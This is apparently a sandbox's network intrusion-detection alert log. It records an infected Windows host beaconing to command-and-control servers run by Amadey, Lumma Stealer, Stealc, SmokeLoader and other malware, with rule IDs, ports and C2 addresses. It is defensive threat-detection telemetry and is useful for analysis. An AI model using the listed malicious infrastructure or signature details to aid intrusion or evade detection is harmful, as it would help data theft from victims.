Timestamp:	192.168.2.4190.139.250.13349752802020826 07/27/23-18:27:26.988076
SID:	2020826
Source Port:	49752
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049900802027700 07/27/23-18:27:52.947506
SID:	2027700
Source Port:	49900
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN HTTP Executable Download from suspicious domain with direct request/fake browser (multiple families) - Source IP: 91.227.16.22 - Destination IP: 192.168.2.4

Timestamp:	91.227.16.22192.168.2.480498792018572 07/27/23-18:27:49.383537
SID:	2018572
Source Port:	80
Destination Port:	49879
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049745802027700 07/27/23-18:27:23.742061
SID:	2027700
Source Port:	49745
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749976802043206 07/27/23-18:27:57.787122
SID:	2043206
Source Port:	49976
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.864959532045695 07/27/23-18:27:21.772864
SID:	2045695
Source Port:	64959
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749954802043206 07/27/23-18:27:56.189583
SID:	2043206
Source Port:	49954
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050009802027700 07/27/23-18:28:01.040405
SID:	2027700
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [ANY.RUN] Win32/Lumma Stealer Configuration Request Attempt - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749898802046637 07/27/23-18:27:52.873659
SID:	2046637
Source Port:	49898
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050013802044695 07/27/23-18:28:02.128391
SID:	2044695
Source Port:	50013
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049797802044695 07/27/23-18:27:35.995165
SID:	2044695
Source Port:	49797
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049876802027700 07/27/23-18:27:48.754883
SID:	2027700
Source Port:	49876
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049880802044695 07/27/23-18:27:49.318195
SID:	2044695
Source Port:	49880
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049835802027700 07/27/23-18:27:41.278383
SID:	2027700
Source Port:	49835
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049994802027700 07/27/23-18:27:58.978417
SID:	2027700
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749928802043206 07/27/23-18:27:54.558327
SID:	2043206
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749936802043206 07/27/23-18:27:54.952434
SID:	2043206
Source Port:	49936
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.750014802043206 07/27/23-18:28:02.188317
SID:	2043206
Source Port:	50014
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049957802044695 07/27/23-18:27:56.537515
SID:	2044695
Source Port:	49957
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049800802027700 07/27/23-18:27:36.237632
SID:	2027700
Source Port:	49800
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049817802027700 07/27/23-18:27:38.986742
SID:	2027700
Source Port:	49817
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049944802044695 07/27/23-18:27:55.656173
SID:	2044695
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049947802044695 07/27/23-18:27:55.843244
SID:	2044695
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049848802027700 07/27/23-18:27:46.523855
SID:	2027700
Source Port:	49848
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049735802027700 07/27/23-18:27:22.425901
SID:	2027700
Source Port:	49735
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049834802044695 07/27/23-18:27:41.045390
SID:	2044695
Source Port:	49834
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Stealc Requesting plugins Config from C2 - Source IP: 192.168.2.4 - Destination IP: 193.106.174.125

Timestamp:	192.168.2.4193.106.174.12549852802044246 07/27/23-18:27:44.703985
SID:	2044246
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050036802044695 07/27/23-18:28:05.712903
SID:	2044695
Source Port:	50036
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049830802027700 07/27/23-18:27:40.666457
SID:	2027700
Source Port:	49830
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749964802043206 07/27/23-18:27:57.216062
SID:	2043206
Source Port:	49964
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749967802043206 07/27/23-18:27:57.336418
SID:	2043206
Source Port:	49967
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050032802027700 07/27/23-18:28:04.981227
SID:	2027700
Source Port:	50032
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049907802027700 07/27/23-18:27:53.472643
SID:	2027700
Source Port:	49907
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049769802044695 07/27/23-18:27:29.903197
SID:	2044695
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049828802044695 07/27/23-18:27:40.450623
SID:	2044695
Source Port:	49828
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049766802044695 07/27/23-18:27:29.628346
SID:	2044695
Source Port:	49766
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050015802044695 07/27/23-18:28:02.435380
SID:	2044695
Source Port:	50015
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049771802027700 07/27/23-18:27:30.155199
SID:	2027700
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049870802044695 07/27/23-18:27:47.871063
SID:	2044695
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049845802027700 07/27/23-18:27:42.891419
SID:	2027700
Source Port:	49845
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049801802044695 07/27/23-18:27:36.472870
SID:	2044695
Source Port:	49801
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN [SEKOIA.IO] Win32/Stealc C2 Check-in - Source IP: 192.168.2.4 - Destination IP: 193.106.174.125

Timestamp:	192.168.2.4193.106.174.12549850802044243 07/27/23-18:27:44.398749
SID:	2044243
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049884802027700 07/27/23-18:27:49.664500
SID:	2027700
Source Port:	49884
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.861088532045695 07/27/23-18:27:03.144911
SID:	2045695
Source Port:	61088
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049764802044695 07/27/23-18:27:29.334695
SID:	2044695
Source Port:	49764
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049836802044695 07/27/23-18:27:41.478855
SID:	2044695
Source Port:	49836
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049921802027700 07/27/23-18:27:54.312425
SID:	2027700
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049737802027700 07/27/23-18:27:22.664584
SID:	2027700
Source Port:	49737
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749979802043206 07/27/23-18:27:57.962569
SID:	2043206
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049758802044695 07/27/23-18:27:28.375754
SID:	2044695
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049809802027700 07/27/23-18:27:37.995741
SID:	2027700
Source Port:	49809
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049843802027700 07/27/23-18:27:42.553170
SID:	2027700
Source Port:	49843
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049723802044695 07/27/23-18:27:20.997197
SID:	2044695
Source Port:	49723
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049878802027700 07/27/23-18:27:49.134079
SID:	2027700
Source Port:	49878
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049977802044695 07/27/23-18:27:57.916686
SID:	2044695
Source Port:	49977
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050007802027700 07/27/23-18:28:00.693339
SID:	2027700
Source Port:	50007
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.750002802043206 07/27/23-18:27:59.879378
SID:	2043206
Source Port:	50002
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049914802044695 07/27/23-18:27:53.847830
SID:	2044695
Source Port:	49914
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049942802044695 07/27/23-18:27:55.350331
SID:	2044695
Source Port:	49942
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050023802044695 07/27/23-18:28:03.291973
SID:	2044695
Source Port:	50023
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049815802027700 07/27/23-18:27:38.771452
SID:	2027700
Source Port:	49815
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050035802027700 07/27/23-18:28:05.518913
SID:	2027700
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049837802027700 07/27/23-18:27:41.681795
SID:	2027700
Source Port:	49837
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049806802044695 07/27/23-18:27:37.514205
SID:	2044695
Source Port:	49806
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049778802027700 07/27/23-18:27:31.006409
SID:	2027700
Source Port:	49778
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849811802045057 07/27/23-18:27:39.728727
SID:	2045057
Source Port:	49811
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049842802044695 07/27/23-18:27:42.354378
SID:	2044695
Source Port:	49842
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049997802027700 07/27/23-18:27:59.408195
SID:	2027700
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049972802044695 07/27/23-18:27:57.686831
SID:	2044695
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049877802044695 07/27/23-18:27:48.944804
SID:	2044695
Source Port:	49877
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050028802044695 07/27/23-18:28:04.420774
SID:	2044695
Source Port:	50028
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050030802027700 07/27/23-18:28:04.613520
SID:	2027700
Source Port:	50030
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049794802044695 07/27/23-18:27:35.263420
SID:	2044695
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050024802027700 07/27/23-18:28:03.735111
SID:	2027700
Source Port:	50024
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.96.7

Timestamp:	192.168.2.4188.114.96.749920802043206 07/27/23-18:27:54.185751
SID:	2043206
Source Port:	49920
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049918802044695 07/27/23-18:27:54.102597
SID:	2044695
Source Port:	49918
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049865802027700 07/27/23-18:27:47.272503
SID:	2027700
Source Port:	49865
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049771802044695 07/27/23-18:27:30.155199
SID:	2044695
Source Port:	49771
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049874802027700 07/27/23-18:27:48.264031
SID:	2027700
Source Port:	49874
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049972802027700 07/27/23-18:27:57.686831
SID:	2027700
Source Port:	49972
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049866802044695 07/27/23-18:27:47.476195
SID:	2044695
Source Port:	49866
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN DNS Query to SmokeLoader Domain (potunulit .org) - Source IP: 192.168.2.4 - Destination IP: 8.8.8.8

Timestamp:	192.168.2.48.8.8.863746532045695 07/27/23-18:27:26.252990
SID:	2045695
Source Port:	63746
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049955802044695 07/27/23-18:27:56.221466
SID:	2044695
Source Port:	49955
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Fabookie.ek CnC Request M4 (GET) - Source IP: 192.168.2.4 - Destination IP: 154.221.26.108

Timestamp:	192.168.2.4154.221.26.10849768802045057 07/27/23-18:27:31.160912
SID:	2045057
Source Port:	49768
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050010802044695 07/27/23-18:28:01.266649
SID:	2044695
Source Port:	50010
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049794802027700 07/27/23-18:27:35.263420
SID:	2027700
Source Port:	49794
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049832802044695 07/27/23-18:27:40.853840
SID:	2044695
Source Port:	49832
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049981802027700 07/27/23-18:27:58.124908
SID:	2027700
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049841802044695 07/27/23-18:27:42.080667
SID:	2044695
Source Port:	49841
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049997802044695 07/27/23-18:27:59.408195
SID:	2044695
Source Port:	49997
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8050035802044695 07/27/23-18:28:05.518913
SID:	2044695
Source Port:	50035
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 179.25.2.95

Timestamp:	192.168.2.4179.25.2.9549763802036333 07/27/23-18:27:29.458086
SID:	2036333
Source Port:	49763
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049988802044695 07/27/23-18:27:58.492556
SID:	2044695
Source Port:	49988
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049785802027700 07/27/23-18:27:31.601012
SID:	2027700
Source Port:	49785
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Amadey Host Fingerprint Exfil (POST) M1 - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

Timestamp:	192.168.2.45.42.65.8049921802044695 07/27/23-18:27:54.312425
SID:	2044695
Source Port:	49921
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Vodkagats Loader Requesting Payload - Source IP: 192.168.2.4 - Destination IP: 211.119.84.111

Timestamp:	192.168.2.4211.119.84.11149741802036333 07/27/23-18:27:23.038083
SID:	2036333
Source Port:	49741
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.749941802043206 07/27/23-18:27:55.240075
SID:	2043206
Source Port:	49941
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Win32/Lumma Stealer Data Exfiltration Attempt M2 - Source IP: 192.168.2.4 - Destination IP: 188.114.97.7

Timestamp:	192.168.2.4188.114.97.750017802043206 07/27/23-18:28:02.891570
SID:	2043206
Source Port:	50017
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Amadey CnC Check-In - Source IP: 192.168.2.4 - Destination IP: 5.42.65.80

